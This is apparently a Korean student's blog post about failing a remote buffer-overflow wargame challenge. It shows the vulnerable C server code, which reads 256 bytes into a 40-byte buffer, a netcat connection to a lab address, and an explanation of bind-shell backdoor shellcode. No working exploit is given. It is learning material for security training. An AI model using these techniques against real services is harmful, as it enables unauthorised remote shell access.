if(bind(server_fd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)) == -1){
perror("bind");
exit(1);
}
if(listen(server_fd, 10) == -1){
perror("listen");
exit(1);
}
while(1) {
sin_size = sizeof(struct sockaddr_in);
if((client_fd = accept(server_fd, (struct sockaddr *)&client_addr, &sin_size)) == -1){
perror("accept");
continue;
}
if (!fork()){
send(client_fd, "Death Knight : Not even death can save you from me!\n", 52, 0);
send(client_fd, "You : ", 6, 0);
recv(client_fd, buffer, 256, 0);
close(client_fd);
break;
}
close(client_fd);
while(waitpid(-1,NULL,WNOHANG) > 0);
}
close(server_fd);
}
하씨 내가 복사하면서 잘못 봤나. 무슨 서버 뭐시기 있는데요???????? 개어렵겠다 진짜
아니 제목부터가 remote BOF 구나
후 분석해보자
분석은 무슨 분석을 해ㅠㅠㅠㅠㅠㅠㅠㅠㅠㅠㅠㅠㅠㅠ
알아들을 수 있는게 if, while, error 이런거 밖에 없어여,,
아 혹시 막 서버 이러고 remote 막 이러는거 보니깐 막 그 포너블 스터디에서 했던 nc 쓰고 막 그런건가???
지금 읽어본 블로그가
https://d4m0n.tistory.com/94?category=747230
https://itsaessak.tistory.com/278
https://warroom.tistory.com/84
뭐지 왜 다들 쉽게 하지
내가 모르는 뭔가 있나
진짜 모르겠다 진짜로
공부를 좀만 자고 일어나서 하자 확인? 확인.
아ㅏ아아아아아ㅏ아아ㅏㅏ라라ㅏ가ㅏ아아아아아아아아ㅏ아아ㅏ아아ㅏ아아아아아ㅏ아아아아아아아ㅏㅏㅏㅇ라ㅏ가ㅏㅏ아라가아아라가ㅏ아라가아ㅏ라가아ㅏ라가ㅏ아라ㅏ라ㅏ아아랑ㄹ알아라ㅏ아ㅏ아ㅏㅏㅏ아아아아앙아아아아아아아라ㅏ아아ㅏ아아아ㅏ아아아아ㅏ아아아아ㅏ앙아ㅏ아아아아ㅏ아아아아아아아아ㅏ아아아아ㅏ아아아아아아아아아아아아아아아아아아ㅏ아아ㅏ아랑라아강랑랑가ㅏ알아랑라아가아라아가아ㅏㅏ아아아아아아아아아아ㅏ아아아아아아앙ㄹㄱ
다시 해보쟈
일단 제일 먼저 해야하는게,,, 서버에 접속!
뭐 블로그를 보니 nc ip주소 포트번호의 형태로 접속을 시도하길래
위에 나와있는 172.16.230.128을 이용해 다른 터미널 창에
nc 172.16.230.128 6666
을 입력해보았다! (뒤에 6666은 포트번호. death_knight.c에 있었어요!)
허우씨 뭔가 떴어ㅠㅠㅠㅠㅠㅠㅠㅠ
여기에 뭘 입력해야할까
일단 대답을 해보겠당
흠 너무 심했나
C코드를 살펴보자
내가 입력한 값을 처리하는 부분이다.
256바이트 만큼 입력받는데 분명 저 buffer의 크기는 40바이트다.
https://bbolmin.tistory.com/51
일단 위 블로그에서 Remote BOF에 대해서 조금이라도 알아야 할거 같당
서버의 계정이 없는 이 상황에서 Remote BOF를 사용해 취약한 서비스를 익스플로잇하여 이 서비스를 실행하는 데몬의 실행권한(쉘)을 가져올 수 있다고 한다
이번 문제에서 사용했던 쉘코드로는 이 문제가 해결되지 않는다고 한다.
그 이유는 공격자가 공격에 성공하여 쉘을 획득했다하더라도(지금까지의 쉘코드의 기능), 프로그램에 구현된 send()와 recv()를 통해서만 통신이 가능한데, 이미 이 역할은 끝나버렸으므로 쉘을 획득하여도 공격자와 이 쉘이 서로 통신할 수 있는 매개체가 없는 것이다.
그래서 이때 사용하는 쉘코드가 BindShell이라는 친구가 있습니당.
취약 프로그램과는 별개의 새로운 소켓을 생성하고, 포트를 열고,
그것을 "/bin/bash"와 연결시키는 이른바 Bindshell 백도어를 실행하는 것이다.
이 백도어를 실행한 후, telnet 등을 이용하여 포트에 접속한다면,
직접 "/bin/bash"를 실행하는 것과는 다른 방법으로 쉘을 획득할 수 있게 된다.
제가요,,, 진짜로,,,, 구글의 모든 블로그를 보면서,, 따라할 수 있는, 이해가 가는 블로그꺼는 다~~~~~ 해봤거든요???근데 왜 저는 안되죠????????????????????????
하,,,항복해도 될까요
댓글
이 글 공유하기
다른 글
-
DreamHack Wargame [basic_exploitation_001, 002]
DreamHack Wargame [basic_exploitation_001, 002]
2020.06.09 -
지옥방 5주차 과제.......모 eum
지옥방 5주차 과제.......모 eum
2020.05.27 -
지옥방 4주차 포너블 과제 모음집!!뚜둥..
지옥방 4주차 포너블 과제 모음집!!뚜둥..
2020.05.17 -
<2/2> 지옥방 4주차 과제[orge-skeleton 다 뿌시기]
<2/2> 지옥방 4주차 과제[orge-skeleton 다 뿌시기]
2020.05.11